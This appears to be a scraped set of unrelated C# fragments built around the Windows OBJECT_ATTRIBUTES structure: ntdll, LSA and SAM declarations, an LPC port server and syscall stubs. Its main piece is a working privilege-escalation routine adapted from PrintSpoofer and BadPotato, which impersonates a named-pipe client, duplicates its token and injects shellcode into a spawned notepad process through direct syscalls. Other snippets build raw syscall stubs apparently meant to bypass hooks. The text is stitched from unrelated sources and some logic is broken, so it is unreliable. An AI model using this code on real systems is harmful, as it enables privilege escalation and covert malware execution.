internal static extern UInt32 NtCreateFile ( out Microsoft.Win32.SafeHandles.SafeFileHandle fileHandle, Int32 desiredAccess, ref OBJECT_ATTRIBUTES objectAttributes, out IO_STATUS_BLOCK ioStatusBlock, ref Int64 allocationSize, UInt32 fileAttributes, System.IO.FileShare shareAccess, UInt32 createDisposition, UInt32 createOptions, SafeHandle eaBuffer, UInt32 eaLength );
public static NTSTATUS NtCreateFile10(out IntPtr fileHandle, Int32 desiredAccess, ref OBJECT_ATTRIBUTES objectAttributes, out IO_STATUS_BLOCK ioStatusBlock, ref Int64 allocationSize, UInt32 fileAttributes, System.IO.FileShare shareAccess, UInt32 createDisposition, UInt32 createOptions, IntPtr eaBuffer, UInt32 eaLength) { byte[] syscall = bNtCreateFile10; IntPtr memoryAddress = msil.getAdrressWithMSIL(syscall); Delegates.NtCreateFile myAssemblyFunction = (Delegates.NtCreateFile)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.NtCreateFile)); return((NTSTATUS)myAssemblyFunction(out fileHandle, desiredAccess, ref objectAttributes, out ioStatusBlock, ref allocationSize, fileAttributes, shareAccess, createDisposition, createOptions, eaBuffer, eaLength)); }
public static extern int LsaOpenPolicy(int SystemName, ref OBJECT_ATTRIBUTES ObjectAttributes, POLICY_RIGHTS DesiredAccess, out int PolicyHandle);
public static extern NtStatus ZwOpenSection(out IntPtr SectionHandle, uint DesiredAccess, ref OBJECT_ATTRIBUTES ObjectAttributes);
public static extern NtStatus ZwOpenDirectoryObject( out IntPtr DirectoryHandle, uint DesiredAccess, ref OBJECT_ATTRIBUTES ObjectAttributes);
/// <summary> /// Open the handles stored by Sam instances. /// </summary> private void OpenHandles() { var systemName = new UNICODE_STRING(); var oa = new OBJECT_ATTRIBUTES(); IntPtr pInfo = IntPtr.Zero; IntPtr pSid = IntPtr.Zero; IntPtr lsaHandle = IntPtr.Zero; UInt32 status = 0; try { status = Win32.LsaOpenPolicy(ref systemName, ref oa, (UInt32)LSA_AccessPolicy.POLICY_VIEW_LOCAL_INFORMATION, out lsaHandle); ThrowOnFailure(status); POLICY_PRIMARY_DOMAIN_INFO domainInfo; status = Win32.LsaQueryInformationPolicy(lsaHandle, POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation, out pInfo); ThrowOnFailure(status); status = Win32.LsaClose(lsaHandle); ThrowOnFailure(status); lsaHandle = IntPtr.Zero; domainInfo = ClrFacade.PtrToStructure<POLICY_PRIMARY_DOMAIN_INFO>(pInfo); status = SamApi.SamConnect(ref systemName, out samHandle, SamApi.SAM_SERVER_LOOKUP_DOMAIN, ref oa); ThrowOnFailure(status); // Open the local domain status = SamApi.SamOpenDomain(samHandle, Win32.MAXIMUM_ALLOWED, domainInfo.Sid, out localDomainHandle); ThrowOnFailure(status); // Open the "BuiltIn" domain SecurityIdentifier sid = new SecurityIdentifier("S-1-5-32"); byte[] bSid = new byte[sid.BinaryLength]; int size = ClrFacade.SizeOf<byte>() * bSid.Length; pSid = Marshal.AllocHGlobal(size); sid.GetBinaryForm(bSid, 0); Marshal.Copy(bSid, 0, pSid, bSid.Length); status = SamApi.SamOpenDomain(samHandle, Win32.MAXIMUM_ALLOWED, pSid, out builtinDomainHandle); ThrowOnFailure(status); } finally { if (pInfo != IntPtr.Zero) status = Win32.LsaFreeMemory(pInfo); Marshal.FreeHGlobal(pSid); if (lsaHandle != IntPtr.Zero) status = Win32.LsaClose(lsaHandle); } }
public static extern UInt32 SamConnect(ref UNICODE_STRING serverName, out IntPtr serverHandle, UInt32 desiredAccess, ref OBJECT_ATTRIBUTES objectAttributes);
public static void ImpersonateClient(string PipeName, string Binary, byte[] shellcodebytes) { // some code from https://github.com/chvancooten/OSEP-Code-Snippets/blob/main/PrintSpoofer.NET/Program.cs, some from https://github.com/BeichenDream/BadPotato/blob/master/Program.cs string pipename = PipeName; string binary = Binary; SECURITY_ATTRIBUTES securityAttributes = new SECURITY_ATTRIBUTES(); // Create our named pipe pipename = string.Format("\\\\.\\pipe\\{0}", pipename); Console.WriteLine("Create Named Pipe: " + pipename); ConvertStringSecurityDescriptorToSecurityDescriptor("D:(A;OICI;GA;;;WD)", 1, out securityAttributes.lpSecurityDescriptor, IntPtr.Zero); IntPtr hPipe = CreateNamedPipeW(string.Format("\\\\.\\{0}", pipename), 0x00000003 | 0x40000000, 0x00000000, 10, 2048, 2048, 0, ref securityAttributes); if (hPipe != IntPtr.Zero) { // Connect to our named pipe and wait for another client to connect bool result = ConnectNamedPipe(hPipe, IntPtr.Zero); if (result) { Console.WriteLine("Connect success!"); } else { Console.WriteLine("Connect fail!"); return; } // Impersonate the token of the incoming connection result = ImpersonateNamedPipeClient(hPipe); if (result) { Console.WriteLine("Successfully impersonated client!"); } else { Console.WriteLine("Impersonation failed!"); return; } // Open a handle on the impersonated token IntPtr tokenHandle; result = OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, false, out tokenHandle); if (result) { Console.WriteLine("OpenThreadToken succeeded!"); } else { Console.WriteLine("OpenThreadToken failed!"); return; } // Duplicate the stolen token IntPtr sysToken = IntPtr.Zero; DuplicateTokenEx(tokenHandle, TOKEN_ALL_ACCESS, IntPtr.Zero, SECURITY_IMPERSONATION, TOKEN_PRIMARY, out sysToken); if (result) { Console.WriteLine("DuplicateTokenEx succeeded!"); } else { Console.WriteLine("DuplicateTokenEx failed!"); return; } // Get the impersonated identity and revert to self to ensure we have impersonation privs String name = WindowsIdentity.GetCurrent().Name; Console.WriteLine($"Impersonated user is: {name}."); if (shellcodebytes != null) { RevertToSelf(); PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION(); STARTUPINFO sInfo = new STARTUPINFO(); sInfo.cb = Marshal.SizeOf(sInfo); binary = @"C:\windows\system32\notepad.exe"; bool output = CreateProcessWithTokenW(sysToken, 0, null, binary, CreationFlags.NewConsole, IntPtr.Zero, null, ref sInfo, out pInfo); Console.WriteLine($"Executed '{binary}' to deploy shellcode in that process!"); int ProcID = ProcByName("notepad"); var shellcode = shellcodebytes; // NtOpenProcess IntPtr stub = SharpNamedPipePTH.DynamicInvokation.DynamicGeneric.GetSyscallStub("NtOpenProcess"); NtOpenProcess ntOpenProcess = (NtOpenProcess)Marshal.GetDelegateForFunctionPointer(stub, typeof(NtOpenProcess)); IntPtr hProcess = IntPtr.Zero; OBJECT_ATTRIBUTES oa = new OBJECT_ATTRIBUTES(); CLIENT_ID ci = new CLIENT_ID { UniqueProcess = (IntPtr)(ProcID) }; SharpNamedPipePTH.DynamicInvokation.Native.NTSTATUS statusresult; statusresult = ntOpenProcess( ref hProcess, 0x001F0FFF, ref oa, ref ci); // NtAllocateVirtualMemory stub = SharpNamedPipePTH.DynamicInvokation.DynamicGeneric.GetSyscallStub("NtAllocateVirtualMemory"); NtAllocateVirtualMemory ntAllocateVirtualMemory = (NtAllocateVirtualMemory)Marshal.GetDelegateForFunctionPointer(stub, typeof(NtAllocateVirtualMemory)); IntPtr baseAddress = IntPtr.Zero; IntPtr regionSize = (IntPtr)shellcodebytes.Length; statusresult = ntAllocateVirtualMemory( hProcess, ref baseAddress, IntPtr.Zero, ref regionSize, 0x1000 | 0x2000, 0x04); // NtWriteVirtualMemory stub = SharpNamedPipePTH.DynamicInvokation.DynamicGeneric.GetSyscallStub("NtWriteVirtualMemory"); NtWriteVirtualMemory ntWriteVirtualMemory = (NtWriteVirtualMemory)Marshal.GetDelegateForFunctionPointer(stub, typeof(NtWriteVirtualMemory)); var buffer = Marshal.AllocHGlobal(shellcodebytes.Length); Marshal.Copy(shellcodebytes, 0, buffer, shellcodebytes.Length); uint bytesWritten = 0; statusresult = ntWriteVirtualMemory( hProcess, baseAddress, buffer, (uint)shellcodebytes.Length, ref bytesWritten); // NtProtectVirtualMemory stub = SharpNamedPipePTH.DynamicInvokation.DynamicGeneric.GetSyscallStub("NtProtectVirtualMemory"); NtProtectVirtualMemory ntProtectVirtualMemory = (NtProtectVirtualMemory)Marshal.GetDelegateForFunctionPointer(stub, typeof(NtProtectVirtualMemory)); uint oldProtect = 0; statusresult = ntProtectVirtualMemory( hProcess, ref baseAddress, ref regionSize, 0x20, ref oldProtect); // NtCreateThreadEx stub = SharpNamedPipePTH.DynamicInvokation.DynamicGeneric.GetSyscallStub("NtCreateThreadEx"); NtCreateThreadEx ntCreateThreadEx = (NtCreateThreadEx)Marshal.GetDelegateForFunctionPointer(stub, typeof(NtCreateThreadEx)); IntPtr hThread = IntPtr.Zero; statusresult = ntCreateThreadEx( out hThread, SharpNamedPipePTH.DynamicInvokation.Win32.WinNT.ACCESS_MASK.MAXIMUM_ALLOWED, IntPtr.Zero, hProcess, baseAddress, IntPtr.Zero, false, 0, 0, 0, IntPtr.Zero); } else { // Only testing purpose to fake an interactive logon somehow PROFILEINFO profInfo = new PROFILEINFO(); bool loadProfileSuccess = LoadUserProfile(sysToken, ref profInfo); if (loadProfileSuccess) { Console.WriteLine("LoadUserProfile success!"); } else { Console.WriteLine("LoadUserProfile failed!"); } RevertToSelf(); // Spawn a new process with the duplicated token, a desktop session, and the created profile PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION(); STARTUPINFO sInfo = new STARTUPINFO(); sInfo.cb = Marshal.SizeOf(sInfo); bool output = CreateProcessWithTokenW(sysToken, 0, null, binary, CreationFlags.NewConsole, IntPtr.Zero, null, ref sInfo, out pInfo); Console.WriteLine($"Executed '{binary}' with impersonated token!"); } } }
public static unsafe void ServerThread1() { // SECURITY_DESCRIPTOR sd = new SECURITY_DESCRIPTOR(); IntPtr sd = Marshal.AllocHGlobal(sizeof(SECURITY_DESCRIPTOR)); OBJECT_ATTRIBUTES ObjAttr = new OBJECT_ATTRIBUTES(); // Object attributes for the name UNICODE_STRING PortName = new UNICODE_STRING(); int Status; IntPtr LpcPortHandle; IntPtr RequestBuffer = Marshal.AllocHGlobal(sizeof(G.PORT_MESSAGE) + Constants.MAX_LPC_DATA); bool WeHaveToStop = false; int nError; TRANSFERRED_MESSAGE tm = TRANSFERRED_MESSAGE.Create(); // // Initialize security descriptor that will be set to // "Everyone has the full access" // if (!InitializeSecurityDescriptor_Ptr(out sd, SECURITY_DESCRIPTOR_REVISION)) { nError = Marshal.GetLastWin32Error(); if (nError != Constants.S_OK) { throw new Win32Exception(nError); } } // // Set the empty DACL to the security descriptor // if (!SetSecurityDescriptorDacl_Ptr(ref sd, true, IntPtr.Zero, false)) { nError = Marshal.GetLastWin32Error(); if (nError != Constants.S_OK) { throw new Win32Exception(nError); } } uint securityDescriptorSize = 0; ConvertStringSecurityDescriptorToSecurityDescriptor("S:(ML;;NW;;;LW)", 1, ref sd, ref securityDescriptorSize); // // Initialize attributes for the port and create it // //RtlInitUnicodeString(ref PortName, LpcPortName); PortName.Length = (ushort)(LpcPortName.Length * 2); PortName.MaximumLength = (ushort)(PortName.Length + 2); PortName.buffer = Marshal.StringToHGlobalUni(LpcPortName); NRegFreeCom.AssemblySystem a = new AssemblySystem(); //var qwe = LoadLibrary(@"I:\src\NLocalIpc\build\Debug\rpcrtex.dll"); // var aaaaa = NRegFreeCom.Interop.NativeMethods.GetProcAddress(qwe, "secddd"); var aa = a.LoadFrom(@"I:\src\NLocalIpc\build\Debug\rpcrtex.dll"); var aaa = aa.GetDelegate <secddd>(); sd = aaa(); OBJECT_ATTRIBUTES.InitializeObjectAttributes_Ptr(ref ObjAttr, ref PortName, 0, IntPtr.Zero, sd); Console.WriteLine("Server: Creating LPC port \"{0}\" (NtCreatePort) ...\n", LpcPortName); var msg = (uint)(sizeof(PORT_MESSAGE) + G.Constants.MAX_LPC_DATA); Status = G.NativeMethods.NtCreatePort(out LpcPortHandle, ref ObjAttr, 100, msg, 0); Console.WriteLine("Server: NtCreatePort result {0:x8}", Status); AlpcErrorHandler.Check(Status); // // Process all incoming LPC messages // uint qwe = 0; while (WeHaveToStop == false) { //PTRANSFERRED_MESSAGE IntPtr LpcMessage = IntPtr.Zero; IntPtr ServerHandle = IntPtr.Zero; // // Create the data buffer for the request // LpcMessage = RequestBuffer; Console.WriteLine("Server: ------------- Begin loop ----------------------\n {0}", Status); // // Listen to the port. This call is blocking, and cannot be interrupted, // even if the handle is closed. The only way how to stop the block is to send // an LPC request which will be recognized by server thread as "Stop" command // AlpcErrorHandler.Check(Status); Console.WriteLine("Server: Listening to LPC port (NtListenPort) ... {0} \n", LpcPortName); Status = G.NativeMethods.NtListenPort(LpcPortHandle, ref tm.Header); Console.WriteLine("Server: NtListenPort result {0:x8}\n", Status); // // Accept the port connection // AlpcErrorHandler.Check(Status); Console.WriteLine("Server: Accepting LPC connection (NtAcceptConnectPort) ...{0:}\n", LpcPortName); IntPtr NULL = IntPtr.Zero; G.PORT_VIEW pv = new G.PORT_VIEW(); G.REMOTE_PORT_VIEW cv = new G.REMOTE_PORT_VIEW(); AlpcPortHandle sh; Status = G.NativeMethods.NtAcceptConnectPort_Ptr(out ServerHandle, IntPtr.Zero, ref tm.Header, 1, NULL, NULL); Console.WriteLine("Server: NtAcceptConnectPort result {0:x8}\n", Status); // // Complete the connection // AlpcErrorHandler.Check(Status); Console.WriteLine("Server: Completing LPC connection (NtCompleteConnectPort) ...{0:}\n", LpcPortName); Status = G.NativeMethods.NtCompleteConnectPort(ServerHandle); Console.WriteLine("Server: NtCompleteConnectPort result {0:x8}\n", Status); // // Now accept the data request coming from the port. // AlpcErrorHandler.Check(Status); // lpcMsg = (TRANSFERRED_MESSAGE)Marshal.PtrToStructure(LpcMessage, typeof(TRANSFERRED_MESSAGE)); // mh = lpcMsg.Header; Console.WriteLine("Server: Receiving LPC data (NtReplyWaitReceivePort) ...{0:}\n", LpcPortName); IntPtr asd = Marshal.AllocHGlobal(sizeof(TRANSFERRED_MESSAGE)); Marshal.StructureToPtr(tm, asd, false); Status = G.NativeMethods.NtReplyWaitReceivePort_NoMarshal(ServerHandle, ref NULL, IntPtr.Zero, asd); Console.WriteLine("Server: NtReplyWaitReceivePort result {0:x8}\n", Status); var wqe = Marshal.PtrToStructure(asd, typeof(TRANSFERRED_MESSAGE)); // var qwe = Marshal.PtrToStringUni(tm.MessageText); // // Get the data sent by the client // AlpcErrorHandler.Check(Status); // If a request has been received, answer to it. switch (tm.Command) { case LPC_COMMAND_REQUEST_NOREPLY: Console.WriteLine("Server: Received request {0}\n", tm.MessageText); break; // Nothing more to do case LPC_COMMAND_REQUEST_REPLY: //_tprintf(_T("Server: Received request \"%s\"\n"), LpcMessage->MessageText); //_tprintf(_T("Server: Sending reply (NtReplyPort) ...\n"), LpcPortName); Status = G.NativeMethods.NtReplyPort(LpcPortHandle, ref tm.Header); //_tprintf(_T("Server: NtReplyPort result 0x%08lX\n"), Status); break; case LPC_COMMAND_STOP: // Stop the work //_tprintf(_T("Server: Stopping ...\n")); WeHaveToStop = false; break; } // // Close the server connection handle // if (ServerHandle != NULL) { // _tprintf(_T("Server: Closing the request handle (NtClose) ...\n"), LpcPortName); Status = NAlpc.NativeMethods.NtClose(ServerHandle); //_tprintf(_T("Server: NtClose result 0x%08lX\n"), Status); } //_tprintf(_T("Server: ------------- End loop ----------------------\n"), Status); } return; }
private static extern NtStatus SamConnect( ref UNICODE_STRING serverName, out IntPtr serverHandle, SamAccessMasks desiredAccess, ref OBJECT_ATTRIBUTES objectAttributes );
private static extern NtStatus LsaOpenPolicy( ref UNICODE_STRING server, ref OBJECT_ATTRIBUTES objectAttributes, LsaOpenMask desiredAccess, out IntPtr policyHandle );
[DllImport("ntdll.dll")]//, SetLastError = true, EntryPoint = "NtOpenProcess")] public static extern uint NtOpenProcess( ref IntPtr ProcessHandle, UInt32 AccessMask, ref OBJECT_ATTRIBUTES ObjectAttributes, ref CLIENT_ID ClientId );
public static extern NTStatus NtQueryFullAttributesFile( ref OBJECT_ATTRIBUTES ObjectAttributes, out FileNetworkOpenInformation FileInformation);
public static extern NTStatus NtQueryAttributesFile( ref OBJECT_ATTRIBUTES ObjectAttributes, out FileBasicInformation FileInformation);
public static NTSTATUS ZwOpenProcess10(ref IntPtr hProcess, ProcessAccessFlags processAccess, OBJECT_ATTRIBUTES objAttribute, ref CLIENT_ID clientid) { byte[] syscall = bZwOpenProcess10; IntPtr memoryAddress = msil.getAdrressWithMSIL(syscall); Delegates.ZwOpenProcess myAssemblyFunction = (Delegates.ZwOpenProcess)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.ZwOpenProcess)); return((NTSTATUS)myAssemblyFunction(out hProcess, processAccess, objAttribute, ref clientid)); }
public static NTSTATUS ZwOpenProcess10(ref IntPtr hProcess, ProcessAccessFlags processAccess, OBJECT_ATTRIBUTES objAttribute, ref CLIENT_ID clientid, string os) { byte[] syscall = syscallSkeleton; syscall[4] = sysDic[os]["openprocess"]; unsafe { fixed(byte *ptr = syscall) { IntPtr memoryAddress = (IntPtr)ptr; if (!VirtualProtectEx(Process.GetCurrentProcess().Handle, memoryAddress, (UIntPtr)syscall.Length, 0x40, out uint oldprotect)) { throw new Win32Exception(); } Delegates.ZwOpenProcess myAssemblyFunction = (Delegates.ZwOpenProcess)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.ZwOpenProcess)); return((NTSTATUS)myAssemblyFunction(out hProcess, processAccess, objAttribute, ref clientid)); } } }
private static partial uint LsaOpenPolicy( ref UNICODE_STRING SystemName, ref OBJECT_ATTRIBUTES ObjectAttributes, int AccessMask, out SafeLsaPolicyHandle PolicyHandle );
internal static extern uint NtCreateFile(out SafeFileHandle fileHandle, int desiredAccess, ref OBJECT_ATTRIBUTES objectAttributes, out IO_STATUS_BLOCK ioStatusBlock, ref long allocationSize, uint fileAttributes, FileShare shareAccess, uint createDisposition, uint createOptions, SafeHandle eaBuffer, uint eaLength);
public static extern UInt32 NtOpenThread( IntPtr ThreadHandle, UInt32 DesiredAccess, ref OBJECT_ATTRIBUTES ObjectAttributes, IntPtr ClientId);
public static extern int NtOpenSymbolicLinkObject(out SafeFileHandle LinkHandle, uint DesiredAccess, ref OBJECT_ATTRIBUTES ObjectAttributes);
public static extern int NtCreateFile( out IntPtr handle, FileAccess access, ref OBJECT_ATTRIBUTES objectAttributes, ref IO_STATUS_BLOCK ioStatus, ref long allocSize, uint fileAttributes, FileShare share, uint createDisposition, uint createOptions, IntPtr eaBuffer, uint eaLength);
public static extern IntPtr ZwOpenSection(out IntPtr sectionHandle, uint desiredAccess, ref OBJECT_ATTRIBUTES attributes);
public static extern int NtOpenDirectoryObject( out Microsoft.Win32.SafeHandles.SafeFileHandle DirectoryHandle, uint DesiredAccess, ref OBJECT_ATTRIBUTES ObjectAttributes);
internal static extern UInt32 NtOpenProcess(ref IntPtr ProcessHandle, UInt32 DesiredAccess, ref OBJECT_ATTRIBUTES ObjectAttributes, ref CLIENT_ID ClientId);
public static extern NtStatus ZwOpenFile( out IntPtr FileHandle, uint DesiredAccess, ref OBJECT_ATTRIBUTES ObjectAttributes, ref IO_STATUS_BLOCK IoStatusBlock, ulong ShareAccess, ulong OpenOptions);
public static extern int ZwOpenSymbolicLinkObject(out int LinkHandle, int DesiredAccess, ref OBJECT_ATTRIBUTES ObjectAttributes);
private static extern uint NtOpenSymbolicLinkObject(out IntPtr LinkHandle, uint DesiredAccess, ref OBJECT_ATTRIBUTES ObjectAttributes);
private static extern int NtCreateFile(ref IntPtr FileHandle, int DesiredAccess, ref OBJECT_ATTRIBUTES ObjectAttributes, ref IO_STATUS_BLOCK IoStatusBlock, int AllocationSize, int FileAttribs, int SharedAccess, int CreationDisposition, int CreateOptions, int EaBuffer, int EaLength);